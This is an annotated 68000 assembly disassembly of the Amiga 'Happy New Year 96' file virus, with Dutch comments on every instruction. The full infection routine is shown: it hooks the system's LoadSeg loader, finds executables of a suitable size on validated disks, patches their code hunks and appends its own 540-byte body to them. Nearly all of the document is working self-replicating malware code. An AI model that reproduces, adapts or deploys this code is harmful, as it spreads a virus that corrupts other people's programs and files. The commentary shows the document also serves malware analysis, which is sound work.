;-BEGIN VIRUS!!!-
; Happy New Year 96 core code
; found in monam, some-demo-i-dont-know
; routines are the core and found in both programs


_LVOOpen		EQU	-30 
_LVOClose		EQU	-36
_LVORead		EQU	-42 
_LVOWrite		EQU	-48
_LVOAllocVec		EQU	-684
_LVOFreeVec		EQU	-690
_LVOOpenLibrary		EQU	-552
_LVOCopyMemQuick	EQU	-630
_LVOExamine		EQU	-102
_LVOInfo		EQU	-114
_LVOLock		EQU	-84  
_LVOUnLock		EQU	-90

ABSEXECBASE		EQU	$4
EXT_003E		EQU	$2300E0
HUNK_CODE		EQU	$03E9
ID_VALIDATED		EQU	$52
ACCESS_READ		EQU	-2

LAB_0004:
	MOVEM.L	D0-D7/A0-A6,-(A7)	;004C: 48E7FFFE		save register op stack
	MOVEA.L	(ABSEXECBASE).W,A6	;0050: 2C780004		sla execbase adres op in A6
	LEA	dosname(PC),A1		;0054: 43FA01EE		laad dosname in A1
	MOVE	#$4E75,-504(A1)		;0058: 337C4E75FE08	copieer RTS naar begin van programma
	MOVEQ	#37,D0			;005E: 7025		versie 37 van dos lib
	JSR	_LVOOpenLibrary(A6)	;0060: 4EAEFDD8		OpenLibrary (dos,37)
PATCH:
	MOVE.L	D0,D7			;0064: 2E00		copieer ptr naar dos lib in D7
	BEQ.S	Exit			;0066: 6742		spring naar Exit wanneer error
	MOVEQ	#0,D1			;0068: 7200		zet D1 op 0
	MOVEQ	#16,D0			;006A: 7010		zet D0 op 16
	LSL.L	#8,D0			;006C: E188		shift D0 naar links, 8-bit, = 4096
	JSR	_LVOAllocVec(A6)	;006E: 4EAEFD54		AllocVec() (reserveer geheugen)
	MOVEA.L	D0,A5			;0072: 2A40		copieer geheugen adres in A5
	BEQ.S	Exit			;0074: 6734		exit wanneer error
	MOVEA.L	A5,A1			;0076: 224D		copieer A5, geheugen adres, naar A1
	LEA	LAB_0004(PC),A0		;0078: 41FAFFD2		laad ptr naar LAB_0004 in A0
	MOVEQ	#16,D0			;007C: 7010		D0=16
	LSL.L	#8,D0			;007E: E188		shift D0 naar links, 8-bit, 4096
	JSR	_LVOCopyMemQuick(A6)	;0080: 4EAEFD8A		CopyMemQuick() (A0,A1,D0) = (src,dest,len)
	JMP	60(A5)			;0084: 4EED003C		spring naar MEMJMP
MEMJMP:
	MOVEA.L	D7,A0			;0088: 2047		copieer dos pointer naar A0
	LEA	LAB_0006(PC),A1		;008A: 43FA0024		laad LAB_0006 in A1
	MOVE.L	D7,400(A1)		;008E: 23470190		stop dos pointer in dosopslag
	MOVE	#$48E7,-100(A1)		;0092: 337C48E7FF9C	copieer $48E7 naar PATCH
	MOVEA.L	-148(A0),A2		;0098: 2468FF6C		copieer adres midden in LoadSeg()??? naar A2
	CMPI	#$2F08,(A2)		;009C: 0C522F08		check of MOVE.L A0,-(a7) in loadseg aanwezig is, al actief?
	BEQ.S	Exit			;00A0: 6708		yep, al aanwezig, exit
	MOVE.L	A2,12(A1)		;00A2: 234A000C		copieer data naar 12 longs achter A1
	MOVE.L	A1,-148(A0)		;00A6: 2149FF6C		copieer LAB_0006 in LoadSeg()????? routine
Exit:
	MOVEM.L	(A7)+,D0-D7/A0-A6	;00AA: 4CDF7FFF		Zet stack terug
	RTS				;00AE: 4E75		einde routine
LAB_0006:
	MOVE.L	A0,-(A7)		;00B0: 2F08		sla A0 in stack op
	LEA	variabel_0(PC),A1	;00B2: 43FA0188		haal variabele op
	MOVE.L	D1,(A1)			;00B6: 2281		copieer D1=prog naam pointer naar variabel_0
	MOVEA.L	(A7)+,A0		;00B8: 205F		haal A0 van stack
	JSR	EXT_003E		;00BA: 4EB9002300E0	EXT_003E	EQU	$2300E0
	TST.L	D0			;00C0: 4A80		returned ok?
	BEQ.S	Exit_2			;00C2: 670A		nee, einde. (rts)
	MOVEM.L	D0-D7/A0-A6,-(A7)	;00C4: 48E7FFFE		registers op stack
	BSR.S	LAB_0008		;00C8: 6106		branche 2 sub LAB_0008
	MOVEM.L	(A7)+,D0-D7/A0-A6	;00CA: 4CDF7FFF		registers van stack
Exit_2:
	RTS				;00CE: 4E75		einde routine
LAB_0008:
	MOVEA.L	variabel_0(PC),A0	;00D0: 207A016A		copieer adres van variabel_0 naar A0
	MOVEA.L	A0,A4			;00D4: 2848		copieer A0 naar A4
	MOVEQ	#45,D2			;00D6: 742D		copieer 45 in D2
	MOVEQ	#46,D3			;00D8: 762E		copieer 46 in D3
	MOVEQ	#108,D4			;00DA: 786C		copieer 108 in D4

; Routine wacht tot A0, 45 of inhoud van variabel_0 leeg is
LAB_0009:
	TST.B	(A0)			;00DC: 4A10		byte test van inhoud eerste byte van A0
	BEQ.S	LAB_000A		;00DE: 670E		eerste byte leeg? spring naar LAB_000A
	CMP.B	(A0),D2			;00E0: B410		inhoud van variabel_0 = 45?
	BEQ.S	Exit_2			;00E2: 67EA		ja, spring naar Exit_2
	CMP.B	(A0)+,D3		;00E4: B618		nee, inhoud van variabel_0 = 46?
	BNE.S	LAB_0009		;00E6: 66F4		nee, spring naar LAB_0009
	CMP.B	(A0),D4			;00E8: B810		ja, inhoud van variabel_0 = 108 ??
	BEQ.S	Exit_2			;00EA: 67E2		ja, spring naar Einde
	BRA.S	LAB_0009		;00EC: 60EE		nee, spring naar naar begin
LAB_000A:
	MOVEA.L	dosopslag(PC),A6	;00EE: 2C7A0150		copieer dospointer naar A6
	MOVE.L	A4,D1			;00F2: 220C		copieer ptr naar variabel_0 in D1 (naam van te locken file)
	MOVEQ	#ACCESS_READ,D2			;00F4: 74FE		D2 = ACCES_READ
	JSR	_LVOLock(A6)		;00F6: 4EAEFFAC		maak Lock
	MOVE.L	D0,D7			;00FA: 2E00		copieer Lock op file ??? naar D7
	BEQ.S	Exit_2			;00FC: 67D0		bij error naar Exit_2
	LEA	LAB_003A_1(PC),A5	;			copieer LAB_003A_1 naar A5
	MOVE.L	D7,D1			;0102: 2207		copieer D7 naar D1 (lock naar D1) (param 1)
	MOVE.L	A5,D2			;0104: 240D		copieer adres van infoblock reservering in D2 (param 2)
	JSR	_LVOExamine(A6)		;0106: 4EAEFF9A		examine (D1,D2)
	MOVE.L	D7,D1			;010A: 2207		D7 naar D1 (lock weer naar D1) (param 1)
	MOVEA.L	A5,A3			;010C: 264D		copieer infoblock met data naar A3
	ADDA.L	#$00000200,A3		;010E: D7FC00000200	bytesperblock=512??
	MOVE.L	A3,D2			;0114: 240B		copieer infoblock naar D2 (param 2)
	JSR	_LVOInfo(A6)		;0116: 4EAEFF8E		Info (D1,D2)
	MOVE.L	D7,D1			;011A: 2207		lock weer naar D1
	JSR	_LVOUnLock(A6)		;011C: 4EAEFFA6		UnLock D1
	CMPI	#ID_VALIDATED,10(A3)	;0120: 0C6B0052000A	check of disk gevalideerd is
	BNE.S	Exit_2			;0126: 66A6		nee, exit
	MOVE.L	12(A3),D0		;0128: 202B000C		NumBlocks naar D0
	MOVE.L	16(A3),D1		;012C: 222B0010		NumBlocksUsed naar D1
	MOVEQ	#4,D2			;0130: 7404		copieer 4 naar D2
	SUB.L	D1,D0			;0132: 9081		NumBlocksUsed-NumBlocks
	CMP.L	D2,D0			;0134: B082		is D0 kleiner dan D2?
	BLT.S	Exit_2			;0136: 6D96		ja, exit
	MOVE.L	124(A5),D5		;0138: 2A2D007C		copieer fib_size (omvang van file in bytes) naar D5
	CMP.L	#$00000960,D5		;013C: BABC00000960	is D5 kleiner dan 2400
	BLT.S	Exit_2			;0142: 6D8A		ja, te klein, exit
	CMP.L	#$0001E460,D5		;0144: BABC0001E460	is D5 kleiner dan 124000
	BGT.S	Exit_2			;014A: 6E82		nee, te groot, exit
	MOVE.L	D5,D0			;014C: 2005		ja, copieer fib_size naar D0
	MOVEQ	#0,D1			;014E: 7200		maak D1 leeg
	MOVEA.L	(ABSEXECBASE).W,A6	;0150: 2C780004		haal execbase adres op
	JSR	_LVOAllocVec(A6)	;0154: 4EAEFD54		alloceer geheugen (d0,d1) 
	MOVE.L	D0,D7			;0158: 2E00		copieer adres op geheugen naar D7
	BEQ	Exit_2			;015A: 6700FF72		error geen geheugen vrij, exit
	MOVEA.L	dosopslag(PC),A6	;015E: 2C7A00E0		haal doslib pointer op
	MOVE.L	#$000003ED,D2		;0162: 243C000003ED	copieer (HUNK_Reloc16 ???) naar D2
	BSR	openfile		;0168: 610000C0		spring naar openfile
	BEQ	Exit_2			;016C: 6700FF60		error, exit
	MOVE.L	D6,D1			;0170: 2206		copieer lock naar D1
	MOVE.L	D7,D2			;0172: 2407		copieer geheugen adres naar D2
	MOVE.L	D5,D3			;0174: 2605		copieer file size in bytes naar D3
	JSR	_LVORead(A6)		;0176: 4EAEFFD6		Lees data in geheugen (D1,D2,D3) (lock,geheugen,size)
	BSR	closefile		;017A: 610000B8		sluit file
	MOVEA.L	D7,A3			;017E: 2647		copieer geheugen adres naar A3 (nu met file data dus)
	MOVE.L	#$00000087,D4		;0180: 283C00000087	copieer 135  in D4
	LEA	20(A3),A0		;0186: 41EB0014		copieer adres vanaf 20bytes (waarschijnlijk start van prog) naar A0
	MOVE.L	(A0),D0			;018A: 2010		copieer inhoud adres A0 naar D0
	ADD.L	D4,(A0)			;018C: D990		voeg 135 toe aan inhoud op adres van A0
LAB_000B:
	MOVE.L	(A0)+,D1		;018E: 2218		copieer A0 en tel 1 erbij op. copieer hunk_code id
	ANDI.L	#$00FFFFFF,D1		;0190: 028100FFFFFF	
	CMP.L	#HUNK_CODE,D1		;0196: B2BC000003E9	hebben we hier een HUNK_CODE?
	BNE.S	LAB_000B		;019C: 66F0		nee, spring naar LAB_000B
	ANDI.L	#$00FFFFFF,D0		;019E: 028000FFFFFF	ja...
	CMP.L	(A0),D0			;01A4: B090		D0 bevat zelfde als (A0)? (lengte van code)
	BNE.S	Exit_3			;01A6: 6676		nee, spring naar Exit_3
	MOVE.L	(A0),D1			;01A8: 2210		copieer lengte van code die volgen gaat naar D1
	ADD.L	D4,(A0)+		;01AA: D998		voeg 135 toe aan A0, 1 bytes achter na lengte van code
	LSL.L	#2,D1			;01AC: E589		maak er een adres van (??)
	ADDA.L	D1,A0			;01AE: D1C1		voeg size toe aan programma??
	MOVE.L	A0,D4			;01B0: 2808		copieer adres van code naar D4
	MOVE.L	A0,D1			;01B2: 2208		hetzelfde naar D1
	CMPI.L	#$65772059,-14(A0)	;01B4: 0CA865772059FFF2	gevonden?
	BEQ.S	Exit_3			;01BC: 6760		ja, spring naar Exit_3, moeten we niet hebben...
	CMPI	#$4E75,-(A0)		;01BE: 0C604E75		nee, gelijk?
	BNE.S	LAB_000C		;01C2: 6606		nee, spring naar LAB_000C
	MOVE	#$4E71,(A0)		;01C4: 30BC4E71		copieer $4E71 in adres A0
	BRA.S	LAB_000F		;01C8: 601A		spring naar LAB_000F
LAB_000C:
	MOVEQ	#63,D0			;01CA: 703F		copieer 63 in D0
LAB_000D:
	CMPI	#$4E75,-(A0)		;01CC: 0C604E75		check...
	BEQ.S	LAB_000E		;01D0: 6706		rts gevonden spring naar LAB_000E
	SUBQ.L	#1,D0			;01D2: 5380		verminder D0 met 1
	BNE.S	LAB_000D		;01D4: 66F6		zero flag niet gezet, error, terug begin routine
	BRA.S	Exit_3			;01D6: 6046		spring naar Exit_3
LAB_000E:
	MOVE	#$6000,(A0)		;01D8: 30BC6000		copieer $6000 in locatie op adres in A0
	SUB.L	A0,D1			;01DC: 9288		haal A0 van D1 af
	SUBI	#$0002,D1		;01DE: 04410002		haal $0002 (2) van D1 af
	ADD	D1,(A0)			;01E2: D350		voeg D1 aan locatie op adres A0 toe
LAB_000F:
	MOVE.L	#$000003EE,D2		;01E4: 243C000003EE	copieer 1006 (HUNK_Reloc8??) in D2
	BSR.S	openfile		;01EA: 613E		open file
	BEQ.S	Exit_3			;01EC: 6730		error, exit_3
	MOVE.L	D6,D1			;01EE: 2206		lock op file
	MOVE.L	D7,D2			;01F0: 2407		geheugen adres
	MOVE.L	D4,D3			;01F2: 2604		copieer adres van code
	SUB.L	D7,D3			;01F4: 9687		haal adres van adres af = lengte
	JSR	_LVOWrite(A6)		;01F6: 4EAEFFD0		!!!-> Write Hunk spul weg
	MOVE.L	D6,D1			;01FA: 2206		copieer lock weer in D1
	LEA	LAB_0004(PC),A0		;01FC: 41FAFE4E		haal begin van virusroutine weer op
	MOVE.L	A0,D2			;0200: 2408		copieer virus routine adres in D2
	MOVE.L	#$0000021C,D3		;0202: 263C0000021C	copieer 540 in D3 (lengte van virus prog)
	JSR	_LVOWrite(A6)		;0208: 4EAEFFD0		!!!-> schrijf virus in file
	MOVE.L	D6,D1			;020C: 2206		copieer lock in D1
	MOVE.L	D4,D2			;020E: 2404		copieer lengte in D2
	ADD.L	D7,D5			;0210: DA87		copieer geheugen adres naar D5
	SUB.L	D4,D5			;0212: 9A84		haal code adres van geheugen adres af = lengte van code
	MOVE.L	D5,D3			;0214: 2605		copieer lengte naar D3
	JSR	_LVOWrite(A6)		;0216: 4EAEFFD0		schrijf de boel weg
	BSR	closefile		;021A: 61000018		sluit de file
Exit_3:
	MOVEA.L	D7,A1			;021E: 2247		copieer geheugenadres naar A1
	MOVEA.L	(ABSEXECBASE).W,A6	;0220: 2C780004		execbase adres
	JSR	_LVOFreeVec(A6)		;0224: 4EAEFD4E		FreeVec()
	RTS				;0228: 4E75		Einde routine/programma
openfile:
	MOVE.L	A4,D1			;022A: 220C		copieer naam van file naar D1
	JSR	_LVOOpen(A6)		;022C: 4EAEFFE2		Open file
	MOVE.L	D0,D6			;0230: 2C00		copieer lock naar D6
	RTS				;0232: 4E75		einde subroutine
closefile:
	MOVE.L	D6,D1			;0234: 2206		copieer lock naar D1
	JSR	_LVOClose(A6)		;0236: 4EAEFFDC		Sluit file
	RTS				;023A: 4E75		einde routine
variabel_0:
	DC.W	$0030			;023C	00 	'0'
	DC.W	$639D			;023E	'c'	157
dosopslag:
	DC.W	$0020			;0240		!!!!!!!
	ROXR.B	#5,D4			;0242: EA14 ??????? LONG ???
dosname:
	dc.b	'dos.library',0		;244
	dc.b	'<> Happy New Year 96! <>',0
	even

LAB_003A_1:
	OR	(A2),D1			;044C: 8252
	ADDX.B	D0,D0			;044E: D100
	MOVE.L	(A0),D1			;0450: 2210
	MOVE	D1,(A5)+		;0452: 3AC1
	DC.W	$A702			;0454
	DC.W	$6AE1			;0456
	BCHG	D0,D3			;0458: 0143
	BCHG	D4,D4			;045A: 0944
	DC.W	$002B			;045C
	AND.L	2112(A4),D6		;045E: CCAC0840
	DC.W	$0EC2			;0462
	SUBX.B	D0,D3			;0464: 9700
	DC.W	$28AF			;0466
	DC.W	$07F5			;0468
	DC.W	$C1A8			;046A
	DC.W	$93FB			;046C
	OR.B	D4,(A1)+		;046E: 8919
	ANDI	#$CFE7,-(A0)		;0470: 0260CFE7
	ROR.B	#6,D1			;0474: EC19
	ASR.L	#6,D0			;0476: EC80
	MULS	20288(A3),D7		;0478: CFEB4F40
	ORI.L	#$50021C18,-(A7)	;047C: 00A750021C18
	MOVE.L	D0,-(A5)		;0482: 2B00
	MOVE.L	D6,(A0)+		;0484: 20C6
	DC.W	$FF66			;0486
	EOR.B	D6,D1			;0488: BD01
	CHK	D0,D3			;048A: 4780
	DC.W	$0435			;048C
	DC.W	$3796			;048E
	MOVE.L	D5,-(A5)		;0490: 2B05
	DC.W	$0571			;0492
	OR	D0,D2			;0494: 8440
	DC.W	$7519			;0496
	ADDX.B	D5,D0			;0498: D105
	BCHG	D0,(A2)+		;049A: 015A
	DC.W	$FBBB			;049C
	DC.W	$1787			;049E
	EOR.L	D3,D0			;04A0: B780
	SUB.L	(A5),D6			;04A2: 9C95
	DC.W	$02B7			;04A4
	DC.W	$35C0			;04A6
	DIVS	-(A7),D2		;04A8: 85E7
	DC.W	$2430			;04AA
	DC.W	$A311			;04AC
	DC.W	$D0B3			;04AE
	AND.B	-(A3),D0		;04B0: C023
	BSET	D3,(A1)+		;04B2: 07D9

; -END OF VIRUS!-
